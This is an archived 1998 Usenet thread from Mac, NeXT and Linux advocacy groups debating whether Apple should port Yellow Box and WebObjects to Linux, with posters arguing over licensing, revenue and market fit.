>>Do you know how many Linux customers PAY for Red Hat Linux? Do you know
>>how many customers PAY for the XESS spreadsheet?
>>
>
>Unless Apple can charge $200-300 per YB license, I don't see how they'd
>make money out of it. Perhaps you could lobby them to include the YB/GUI
>for Linux in as a bundle with OSX/S?
If they are at the point with this technology of theirs that
a mere port to yet another unix core (underneath) would
require them to charge $200-$300 per user licence after
the subsequent port to make that port profitable: then
that technology already has fundemental flaws from the
point of view of any other unix already...
>
>>Whatever it is, they grew by 212% last year. How did WebObjects sales
>>fare, Colin?
>
>I would say that WO sales alone exceeded the total revenue
>for the entire Linux software market.
Start quoting some hard numbers and something more than
hot air. Although, with the kind of Margins that Apple
likes to reserve for itself (Macs as expensive as new
Nissan compact trucks), a WO sales revenue statistic
could very well be a 'damned lie'.
It always helps to have some customers available.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 28 Dec 98 21:29:38 GMT
Organization: P & L Systems
Message-ID: <3687f842.0@stan.astra.co.uk>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
<3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net>
<36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com>
<36868276.0@stan.astra.co.uk> <3687CC30.8AC17F2E@ericsson.com>
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Cc: michael.peck@ericsson.com
In <3687CC30.8AC17F2E@ericsson.com> Michael Peck wrote:
> > I want to move past that stage and find some way that Apple could make
money
> > from this so that there's a chance it could become a reality. So how
about
> > you coming up with a constructive suggestion?
>
> Wow. I mean, it never occured to you that Apple could charge money for
> the runtimes? That is, of course, the traditional way of supporting
> product development.
>
Yes, of course it occurred to me.
The whole debate thus far has been conducted starting with the assertion by
various pro-Linux folks that they would be unwilling to pay for the runtimes.
If you're willing to pay for them then great, of course that's an option.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 28 Dec 98 21:40:33 GMT
Organization: P & L Systems
Message-ID: <3687fad1.0@stan.astra.co.uk>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
<3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net>
<36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com>
<36868276.0@stan.astra.co.uk> <3687CC30.8AC17F2E@ericsson.com>
<ch3-2812981111570001@1cust30.tnt4.redmond.wa.da.uu.net> <3687E53F.12465131@ericsson.com>
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Cc: michael.peck@ericsson.com
In <3687E53F.12465131@ericsson.com> Michael Peck wrote:
> c hand wrote:
>
> > I already explained this is a previous post on the subject. EOF and PDO
> > are separate products that just happen to be bundled with WOF. They're
> > also to be bundled with YB.
> >
> > YB -- AppKit, FoundationKit, EOF, PDO, *Kits
> > WO -- FoundationKit, EOF, PDO, WOF
>
> So, saying "YB is not ported to either" is only partially true:
>
No, it is completely true. It is not ported to the other platforms.
> the remainder of the work is AppKit, 3DKit, DriverKit, anything else?
>
3DKit is no longer a part of the YB bundle, unless you're intending to refer
to some as-yet unreleased fusion of QTML and YB.
The AppKit, though, is work enough in itself, since this is the whole
windowing side of the equation. See elsewhere for what that entails in terms
of look and feel, window manager etc. It's not easy to see what the "best
solution" would be. What's worse is that this is now likely to open up a
whole can of worms with you about X-windows, window managers, widget sets
etc. Sadly I'm unlikely to see the impending "debate" since this is my last
post before going incommunucado in SF for a fortnight.
mmalc.
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 14:05:14 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <763hf5$2u1$1@nnrp1.dejanews.com> <ch3-2712981104400001@1cust11.tnt5.redmond.wa.da.uu.net> <3687CC60.66685756@ericsson.com> <ch3-2812981118590001@1cust30.tnt4.redmond.wa.da.uu.net> <3687E663.390619C4@ericsson.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812981405150001@1cust83.tnt1.redmond.wa.da.uu.net>
> My feeling is that the day will soon come that Apple envies the likes of
>Corel, whom you called a "desperate company" a few days ago.
This is a company that fundamentally failed in their markets, destroyed
WordPerfect, bankrupt themselves on Java, fired most of their employees,
and on the brink of financial collapse said they'd offer their product
where there was no competition. What a company.
> What are *you* telling Apple by arguing your side of this debate?
I'm telling them to focus on what they currently have, in progress.
That would put YB for HP, Sun, and Digital way ahead of Linux, IMO.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 14:11:38 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <ch3-2712981058380001@1cust11.tnt5.redmond.wa.da.uu.net> <3687CECD.24A3744D@ericsson.com> <ch3-2812981127250001@1cust30.tnt4.redmond.wa.da.uu.net> <3687E738.FABC5929@ericsson.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812981411380001@1cust83.tnt1.redmond.wa.da.uu.net>
>No, I never said anything of the kind.
>
>I'll call you out on this. Post the quote or retract the comment. Now.
What, is this a gunfight? You can stop with the melodrama.
You posted a paragraph about how Linux is the second coming
of Christ. You answered my question. You told me that it was
more a matter of what you're comfortable with, than technological
advantage, or fundamental benefit to Apple.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 14:20:10 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <ch3-2712981058380001@1cust11.tnt5.redmond.wa.da.uu.net> <3687CECD.24A3744D@ericsson.com> <ch3-2812981127250001@1cust30.tnt4.redmond.wa.da.uu.net> <3687E738.FABC5929@ericsson.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812981420110001@1cust83.tnt1.redmond.wa.da.uu.net>
>> Seriously, OpenMach is just what you're asking for, isn't it?
>
>No, it's not! I say that for reasons that I have explained over and over
>and over, but which you continue to CLIP in your responses (with no
>'cut' marks, either). One person (not me) has already called you out on
>this, now I say the same: why do you find it necessary to continually
>ignore huge swaths of argumentation and explanation, then insist that
>you have not seen them from me?
You make the statement "no, it's not!" with nothing to substantiate the
claim(besides 'it's not Linux, I like Linux'), then go on to make personal
attacks at me. Who's playing games here, me or you?
>I'm very frustrated. You're being entirely unreasonable and I find that
>this debate grows tedious.
I'm sorry if 'disagreement' seems "unreasonable" to you. I do not concur
that you have made a business case for YB/Linux. So far, I've heard only
two examples that seem to be based in reality:
1. QuickTime/Linux
2. WebObjects/Linux (without full YB)
> I currently see no reason to continue this
>with you.
That's your choice.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 14:32:20 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com> <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net> <3683696D.BD0633B3@nstar.net> <ch3-2612980907270001@1cust12.tnt2.redmond.wa.da.uu.net> <3685466B.3F311F53@nstar.net> <ch3-2712981055290001@1cust11.tnt5.redmond.wa.da.uu.net> <slrn78fqcb.t7e.jedi@dementia.mishnet>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812981432210001@1cust83.tnt1.redmond.wa.da.uu.net>
>>I would say that WO sales alone exceeded the total revenue
>>for the entire Linux software market.
>
> Start quoting some hard numbers and something more than
> hot air.
I can't do that. But if you sign an NDA with Apple, I'm sure they
can let you know just how much money WebObjects produces.
(You can roughly do the math yourself, though. Multiply 3000 by
the license fee. Figure that 90% of deployment is done on Sparc,
and figure that the rest is divided between NT and HP. Go look
up the fees for the platforms. Also figure in multiple CPU boxes
and sites with more than one server running. In addition you could
add in support and consulting fees, if you wanted, but I suppose
they don't really count as WO revenue.)
--
regards : colin hand : mailto:ch3@earthlink.net
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 14:32:11 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn78g1nb.u51.jedi@dementia.mishnet>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <36868276.0@stan.astra.co.uk> <3687CC30.8AC17F2E@ericsson.com> <3687f842.0@stan.astra.co.uk>
On 28 Dec 98 21:29:38 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>In <3687CC30.8AC17F2E@ericsson.com> Michael Peck wrote:
>> > I want to move past that stage and find some way that Apple could make
>money
>> > from this so that there's a chance it could become a reality. So how
>about
>> > you coming up with a constructive suggestion?
>>
>> Wow. I mean, it never occured to you that Apple could charge money for
>> the runtimes? That is, of course, the traditional way of supporting
>> product development.
>>
>Yes, of course it occurred to me.
>
>The whole debate thus far has been conducted starting with the assertion by
>various pro-Linux folks that they would be unwilling to pay for the runtimes.
> If you're willing to pay for them then great, of course that's an option.
Pay or not, they need to at least conform to some 3rd party spec.
Proprietary software interests tend to not want to subject them-
selves to such constraints if they don't have to.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 17:15:02 -0600
Organization: Ericsson Data Services Americas
Message-ID: <368810F6.63FFF5B3@ericsson.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <ch3-2712981058380001@1cust11.tnt5.redmond.wa.da.uu.net> <3687CECD.24A3744D@ericsson.com> <ch3-2812981127250001@1cust30.tnt4.redmond.wa.da.uu.net> <3687E738.FABC5929@ericsson.com> <ch3-2812981411380001@1cust83.tnt1.redmond.wa.da.uu.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
c hand wrote:
> What, is this a gunfight? You can stop with the melodrama.
Yeah. Draw.
> You posted a paragraph about how Linux is the second coming
> of Christ. You answered my question. You told me that it was
> more a matter of what you're comfortable with, than technological
> advantage, or fundamental benefit to Apple.
More incorrect and hyperbolic mischaracterization. Duly noted is your
failure to post the quote, retract the comment, or cease the behavior.
MJP
From: suvidya@tendlrow.tta.ten.mirror_after_at (Arun Gupta)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 29 Dec 1998 01:23:12 GMT
Organization: AT&T WorldNet Services
Message-ID: <suvidya-2812982025030001@11.newark-03-04rs.nj.dial-access.att.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <36868276.0@stan.astra.co.uk> <3687CC30.8AC17F2E@ericsson.com> <3687f842.0@stan.astra.co.uk>
<malcolm@plsys.co.uk> wrote:
>
> The whole debate thus far has been conducted starting with the assertion by
> various pro-Linux folks that they would be unwilling to pay for the runtimes.
> If you're willing to pay for them then great, of course that's an option.
Nicholas Petreley writes, in InfoWorld, about resolutions for the new year :
> Linux advocates will resolve to launch an e-mail campaign to communicate
> the message to the world that there really is a market for commercial
> applications on Linux. Unfortunately, the message won't make it out in 1999
> because these particular Linux users are waiting for Qualcomm to ship a
> free (as in free beer, not free speech) version of Eudora for Linux.
Petreley is a Linux booster, but clearly something irked him.
-arun gupta
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 15:40:13 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn78g5mt.ui2.jedi@dementia.mishnet>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com> <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net> <3683696D.BD0633B3@nstar.net> <ch3-2612980907270001@1cust12.tnt2.redmond.wa.da.uu.net> <3685466B.3F311F53@nstar.net> <ch3-2712981055290001@1cust11.tnt5.redmond.wa.da.uu.net> <slrn78fqcb.t7e.jedi@dementia.mishnet> <ch3-2812981432210001@1cust83.tnt1.redmond.wa.da.uu.net>
On Mon, 28 Dec 1998 14:32:20 -0800, c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>>I would say that WO sales alone exceeded the total revenue
>>>for the entire Linux software market.
>>
>> Start quoting some hard numbers and something more than
>> hot air.
>
>I can't do that. But if you sign an NDA with Apple, I'm sure they
>can let you know just how much money WebObjects produces.
>
>(You can roughly do the math yourself, though. Multiply 3000 by
You must be joking? Unless WO is REALLY, REALLY,
REALLY overpriced, it's revenue is likely no where
near what Redhat alone has been getting annually.
3000 is a pretty weak number even when compared
to Ataris and Amigas in this day and age...
>the license fee. Figure that 90% of deployment is done on Sparc,
>and figure that the rest is divided between NT and HP. Go look
>up the fees for the platforms. Also figure in multiple CPU boxes
>and sites with more than one server running. In addition you could
>add in support and consulting fees, if you wanted, but I suppose
>they don't really count as WO revenue.)
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 29 Dec 1998 04:17:43 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <769l57$aql$5@blue.hex.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <763hf5$2u1$1@nnrp1.dejanews.com> <ch3-2712981104400001@1cust11.tnt5.redmond.wa.da.uu.net> <3687CC60.66685756@ericsson.com>
<ch3-2812981118590001@1cust30.tnt4.redmond.wa.da.uu.net> <3687E663.390619C4@ericsson.com> <ch3-2812981405150001@1cust83.tnt1.redmond.wa.da.uu.net>
NNTP-Posting-Date: 29 Dec 1998 04:17:43 GMT
On Mon, 28 Dec 1998 14:05:14 -0800, c hand
<ch3@earthlink.net.rem.ove.this> wrote:
>> My feeling is that the day will soon come that Apple envies the likes of
>>Corel, whom you called a "desperate company" a few days ago.
>
>This is a company that fundamentally failed in their markets, destroyed
>WordPerfect, bankrupt themselves on Java, fired most of their employees,
>and on the brink of financial collapse said they'd offer their product
>where there was no competition. What a company.
>
>> What are *you* telling Apple by arguing your side of this debate?
>
>I'm telling them to focus on what they currently have, in progress.
>That would put YB for HP, Sun, and Digital way ahead of Linux, IMO.
I would quite disagree with this.
HP, Sun, and Digital/Compaq are pushing their "boxes" largely as
headless servers.
Headless back office servers are wonderful things. You can sell one or
two, and get hundreds of thousands of dollars in return.
The funny thing is, people don't tend to run desktop applications on
those hundred-thousand-dollar machines. They tend to put big DBs on
them, and hide them in back rooms. Graphical apps don't run there too
much.
In contrast, the major distributors of Linux systems tend to put quite a
lot of attention into how they configure the graphical side of things.
They may not have anywhere the ease-of-use of MacOS. But they do
endeavor to make sure X runs fairly readily almost out of the box.
HP, Sun, IBM, and Digital/Compaq may be selling some high-dollar
systems, but they're not pushing them very hard at roles in which YB
would be a good fit.
In contrast, while the Linux side may be "the other side of expensive,"
it seems likely to have a *better* "marriage" with YB than the
commercial UNIXes.
That is not to say that a "Linux/YB marriage" is likely to be
exceedingly fecund. But it seems not unreasonable to expect better
'fertility' results than with HP/Sun/IBM/Digital.
--
"Even in the area of anticompetitive conduct, Microsoft is mainly an
imitator." -- Ralph Nader (1998/11/11)
cbbrowne@hex.net- <http://www.hex.net/~cbbrowne/lsf.html>
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: ABCNEWS.com on OS alternatives in 1999
Date: 28 Dec 98 21:29:59 -0700
Organization: ICGNetcom
Message-ID: <B2ADA8DA-98E5B@204.31.112.229>
References: <3687EE76.D60F651@ix.netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
It looks like news of MacOS X is starting to hit the mainstream....
http://abcnews.go.com/sections/tech/DailyNews/forecastone981226.html
Cheers,
--
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 29 Dec 1998 04:50:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <769n2d$9tm@news1.panix.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <765ovq$cp0$1@nnrp03.primenet.com> <7674r0$fmf@news1.panix.com> <7687be$8bf$1@nnrp02.primenet.com>
On 28 Dec 1998 15:15:58 GMT, John Jensen <jjens@primenet.com> wrote:
>Sal Denaro <sal@panix.com> wrote:
>: The direction of the Linux kernel is decided by Linus and a core group
>: of supporters and that model is duplicated in just about every other
>: part of the Linux community. Did you follow the GGI flamewar? The "heavy
>: hand" of Linus kept the GGI team from adding something to the kernel;
>: despite having a lot of support from other developers.
>If you take the narrow view that Linux is the kernel, then you are of
>course correct. In the broader view there are many competing projects at
>all levels of the Linux OS, none of them of them more equal than the
>others.
The "many competing projects at all levels" are hardly exclusive to Linux.
Not even the drivers are exclusive anymore. The only "Linux project" that
doesn't have the potential of benefiting the larger "OpenSource" community
is the kernel.
Are perl, apache and GNOME "Linux projects?" or do they belong to the
"OpenSource" community? Did Linus set out to write a new OS or did he
set out to write a kernel that would allow him to run open source Unix
code? (Linus has stated a number of times that the Linux kernel was
adapted to run GNU software. Making changes that would allow them to
take advantage of code that was already there was a critical design decision
early on.)
>: I have an alternative plan: Don't yield to anyone and make choices based
>: on the suitability to the task, not platform loyalty (or zealotry). And if
>: you happen to hate the company that builds the right tool? Pick it anyway,
>: since it is about getting the job done; and done well, not your personal
>: opinions about the platform or they guy running the company.
>How do you develop software without yielding to anyone? You have to build
>atop an API, and using tools developed by someone else.
I don't see this as "yielding" to anyone other than the guy who signs my
paycheck.
> The contrast I
>raise between the machine and the jungle is whether you want to yield to a
>corporate center or to a bioshpere of peers.
Do you really think that the typical Linux user has more any more control over
the direction that Linux takes than the typical Windows user has control over
the direction that Windows takes?
Drink coffee, write code, cash check. Everything else is either politics or
religion and I get more than enough of those at holiday meals with my family.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: 29 Dec 1998 04:50:17 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <769n29$9tm@news1.panix.com>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <76172n$jqj$1@reader1.reader.news.ozemail.net> <ch3-2612980856320001@1cust12.tnt2.redmond.wa.da.uu.net> <766k8q$2bi$1@reader1.reader.news.ozemail.net> <ch3-2812981015180001@1cust30.tnt4.redmond.wa.da.uu.net> <3687DF5E.2F591E@ericsson.com>
On Mon, 28 Dec 1998 13:43:26 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>c hand wrote:
>> Which is good for us, but probably not good for Apple. It means their
>> product is no longer needed, thus they lose that market after creating
>> it. Which is inevitable with all commercial software products on Linux.
>> How long until Oracle and Informix are cloned by Open Source?
>There's a project in the Free Software community to write an Open
>Source, freely-distributed clone of Qt, called Harmony. When I first
>heard about it, I figured it would be the end of Troll Tech, who
>distributes Qt. After all, why pay for Qt if it's freely-available?
>
>When I thought about it more, however, I realized that Troll Tech is
>probably thrilled that Harmony is out there. Not only is it an indicator
>of Qt's popularity and usefulness, but as the poster above said, "more
>available programs will mean more people interested in [Qt], more
>resources...". Harmony will never replace the commercial version of Qt,
>since commercial Qt has a commercial license, and has the latest
>versions and patches, full technical support, a commercial sponsor, and
>Windows sources. But Harmony *does* expand the appeal of Qt and provide
>it with a solid, third-party implementation that demonstrates to users
>and developers how important that library has become.
There is one *major* difference: Harmony requires zero resources from Troll
tech, YB on Linux would require Apple to build it.
A better comparison would be Qt:Harmony as YB:GNUStep.
>Apple could be in the same position, if they were willing to "Think
>Different".
GNUStep? QuickTime as an open standard? Publishing the source code changes
to the BSD-lite tree? I think they are in a very similar position.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 29 Dec 1998 04:50:18 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <769n2a$9tm@news1.panix.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <3686ED85.255995F1@nstar.net> <suvidya-2812980625020001@119.newark-18-19rs.nj.dial-access.att.net> <3687C9FF.E6EAE91@ericsson.com>
On Mon, 28 Dec 1998 12:12:15 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>Macroeconomically, yes, competition is often a good thing. When the
>issue is one specific company's product plans, competition does nobody
>any good when cooperation better suits both buyer and seller.
In an ideal world. In the real world individuals are more often than
not both competing and cooperating at the same time. This is Apple's
relationship with Linux.
